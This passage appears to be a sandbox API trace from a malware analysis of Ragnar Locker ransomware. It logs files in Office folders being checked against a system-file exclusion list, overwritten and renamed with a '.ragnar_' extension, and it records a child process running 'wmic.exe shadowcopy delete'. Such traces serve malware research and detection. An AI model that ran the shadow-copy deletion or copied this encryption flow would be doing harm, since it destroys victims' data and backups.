office\\media\\office14\\bullets\\bd21422_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.850] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf7de00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf7de00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21423_.GIF", cAlternateFileName="")) returned 1 [0100.850] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.850] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21423_.GIF" | out: lpString1="BD21423_.GIF") returned="BD21423_.GIF" [0100.850] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF") returned=".GIF" [0100.850] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.850] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="autorun.inf") returned 1 [0100.850] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="boot.ini") returned -1 [0100.850] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="bootfont.bin") returned -1 [0100.850] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="bootsect.bak") returned -1 [0100.850] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="bootmgr") returned -1 [0100.850] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="bootmgr.efi") returned -1 [0100.851] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.851] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="desktop.ini") returned -1 [0100.851] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="iconcache.db") returned -1 [0100.851] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="ntldr") returned -1 [0100.851] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="ntuser.dat") returned -1 [0100.851] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.851] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="ntuser.ini") returned -1 [0100.851] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="thumbs.db") returned -1 [0100.851] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.851] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.851] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.851] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.851] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.851] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.851] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21423_.gif")) returned 0x20 [0100.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21423_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.885] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=233) returned 1 [0100.885] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.885] GetProcessHeap () returned 0x580000 [0100.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.886] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.886] VirtualAlloc (lpAddress=0x0, dwSize=0xe9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.887] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.887] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.887] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xe9, lpOverlapped=0x0) returned 1 [0100.887] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.887] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe9, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.887] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xe9, lpOverlapped=0x0) returned 1 [0100.887] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.887] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.887] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.887] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.887] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.887] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.888] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.888] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.888] GetProcessHeap () returned 0x580000 [0100.888] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.888] CloseHandle (hObject=0x10c) returned 1 [0100.888] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF" [0100.888] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF.ragnar_FD7BD9FC" [0100.888] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21423_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21423_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.889] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c65a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91c65a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21433_.GIF", cAlternateFileName="")) returned 1 [0100.889] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.889] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21433_.GIF" | out: lpString1="BD21433_.GIF") returned="BD21433_.GIF" [0100.889] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF") returned=".GIF" [0100.889] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.889] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="autorun.inf") returned 1 [0100.889] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="boot.ini") returned -1 [0100.889] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="bootfont.bin") returned -1 [0100.889] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="bootsect.bak") returned -1 [0100.889] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="bootmgr") returned -1 [0100.889] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="bootmgr.efi") returned -1 [0100.889] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.889] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="desktop.ini") returned -1 [0100.889] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="iconcache.db") returned -1 [0100.889] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="ntldr") returned -1 [0100.889] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="ntuser.dat") returned -1 [0100.890] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.890] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="ntuser.ini") returned -1 [0100.890] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="thumbs.db") returned -1 [0100.890] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.890] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.890] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.890] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.890] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.890] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.890] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21433_.gif")) returned 0x20 [0100.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21433_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.890] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=185) returned 1 [0100.890] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.891] GetProcessHeap () returned 0x580000 [0100.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.891] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.891] VirtualAlloc (lpAddress=0x0, dwSize=0xb9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.891] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.892] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.892] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb9, lpOverlapped=0x0) returned 1 [0100.892] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.892] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb9, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.892] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb9, lpOverlapped=0x0) returned 1 [0100.892] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.892] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.892] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.892] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.892] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.892] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.892] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.892] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.892] GetProcessHeap () returned 0x580000 [0100.893] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.893] CloseHandle (hObject=0x10c) returned 1 [0100.893] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF" [0100.893] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF.ragnar_FD7BD9FC" [0100.893] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21433_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21433_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) Thread: id = 2 os_tid = 0xb48 Thread: id = 114 os_tid = 0xab8 Thread: id = 115 os_tid = 0xac8 Process: id = "2" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x34657000" os_pid = "0xb68" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xb04" cmd_line = "wmic.exe shadowcopy delete" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xb4c [0031.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfc10 | out: lpSystemTimeAsFileTime=0x1cfc10*(dwLowDateTime=0x69191200, dwHighDateTime=0x1d5e0db)) [0031.401] GetCurrentProcessId () returned 0xb68 [0031.401] GetCurrentThreadId () returned 0xb4c [0031.401] GetTickCount () returned 0x1152b17 [0031.401] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfc18 | out: lpPerformanceCount=0x1cfc18*=17304741940) returned 1 [0031.403] GetModuleHandleW (lpModuleName=0x0) returned 0xff9b0000 [0031.403] __set_app_type (_Type=0x1) [0031.404] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9fced0) returned 0x0 [0031.404] __wgetmainargs (in: _Argc=0xffa22380, _Argv=0xffa22390, _Env=0xffa22388, _DoWildCard=0, _StartInfo=0xffa2239c | out: _Argc=0xffa22380, _Argv=0xffa22390, _Env=0xffa22388) returned 0 [0031.448] ??0CHString@@QEAA@XZ () returned 0xffa22ab0 [0031.453] malloc (_Size=0x30) returned 0x385a10 [0031.455] malloc (_Size=0x70) returned 0x385a50 [0031.455] malloc (_Size=0x50) returned 0x387a10 [0031.455] malloc (_Size=0x30) returned 0x387a70 [0031.455] malloc (_Size=0x48) returned 0x387ab0 [0031.455] malloc (_Size=0x30) returned 0x387b00 [0031.455] malloc (_Size=0x30) returned 0x387b40 [0031.455] ??0CHString@@QEAA@XZ () returned 0xffa22f58 [0031.455] malloc (_Size=0x30) returned 0x387b80 [0031.455] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c [0031.455] SetConsoleCtrlHandler (HandlerRoutine=0xff9f5724, Add=1) returned 1 [0031.455] _onexit (_Func=0xffa0f378) returned 0xffa0f378 [0031.455] _onexit (_Func=0xffa0f490) returned 0xffa0f490 [0031.456] _onexit (_Func=0xffa0f4d0) returned 0xffa0f4d0 [0031.456] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0031.456] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0031.526] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0031.544] CoCreateInstance (in: rclsid=0xff9b73a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff9b7370*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xffa22940 | out: ppv=0xffa22940*=0x2e1390) returned 0x0 [0032.160] GetCurrentProcess () returned 0xffffffffffffffff [0032.160] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x1cf9e0 | out: TokenHandle=0x1cf9e0*=0xf4) returned 1 [0032.160] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1cf9d8 | out: TokenInformation=0x0, ReturnLength=0x1cf9d8) returned 0 [0032.161] malloc (_Size=0x118) returned 0x3863d0 [0032.161] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x3863d0, TokenInformationLength=0x118, ReturnLength=0x1cf9d8 | out: TokenInformation=0x3863d0, ReturnLength=0x1cf9d8) returned 1 [0032.161] AdjustTokenPrivileges (in: TokenHandle=0xf4, DisableAllPrivileges=0, NewState=0x3863d0*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-309223926, Attributes=0x3e6e), (Luid.LowPart=0x0, Luid.HighPart=3702512, Attributes=0x0), (Luid.LowPart=0x360038, Luid.HighPart=3997737, Attributes=0x3a0043), (Luid.LowPart=0x6f0072, Luid.HighPart=7471207, Attributes=0x6d0061), (Luid.LowPart=0x6c0069, Luid.HighPart=7536741, Attributes=0x280020), (Luid.LowPart=0x290036, Luid.HighPart=4391004, Attributes=0x6d006f))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0032.161] free (_Block=0x3863d0) [0032.161] CloseHandle (hObject=0xf4) returned 1 [0032.164] malloc (_Size=0x40) returned 0x387ef0 [0032.164] malloc (_Size=0x40) returned 0x387f40 [0032.164] malloc (_Size=0x40) returned 0x3863d0 [0032.164] malloc (_Size=0x20a) returned 0x386420 [0032.164] GetSystemDirectoryW (in: lpBuffer=0x386420, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0032.164] free (_Block=0x386420) [0032.164] malloc (_Size=0x18) returned 0x387f90 [0032.164] malloc (_Size=0x18) returned 0x387fb0 [0032.164] malloc (_Size=0x18) returned 0x386420 [0032.164] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0032.164] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0032.164] free (_Block=0x387f90) [0032.165] free (_Block=0x387fb0) [0032.165] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76f20000 [0032.165] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40 [0032.165] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0032.165] FreeLibrary (hLibModule=0x76f20000) returned 1 [0032.166] free (_Block=0x386420) [0032.166] _vsnwprintf (in: _Buffer=0x3863d0, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x1cf608 | out: _Buffer="ms_409") returned 6 [0032.166] malloc (_Size=0x20) returned 0x387f90 [0032.166] GetComputerNameW (in: lpBuffer=0x387f90, nSize=0x1cf9e0 | out: lpBuffer="XDUWTFONO", nSize=0x1cf9e0) returned 1 [0032.166] lstrlenW (lpString="XDUWTFONO") returned 9 [0032.166] malloc (_Size=0x14) returned 0x386420 [0032.166] lstrlenW (lpString="XDUWTFONO") returned 9 [0032.166] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x1cf9d8 | out: lpNameBuffer=0x0, nSize=0x1cf9d8) returned 0x7fffffdd000 [0032.167] GetLastError () returned 0xea [0032.168] malloc (_Size=0x40) returned 0x386440 [0032.168] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x386440, nSize=0x1cf9d8 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x1cf9d8) returned 0x1 [0032.169] lstrlenW (lpString="") returned 0 [0032.169] lstrlenW (lpString="XDUWTFONO") returned 9 [0032.169] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0032.171] lstrlenW (lpString=".") returned 1 [0032.171] lstrlenW (lpString="XDUWTFONO") returned 9 [0032.171] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0032.171] lstrlenW (lpString="LOCALHOST") returned 9 [0032.171] lstrlenW (lpString="XDUWTFONO") returned 9 [0032.171] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0032.171] lstrlenW (lpString="XDUWTFONO") returned 9 [0032.172] lstrlenW (lpString="XDUWTFONO") returned 9 [0032.172] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0032.172] free (_Block=0x386420) 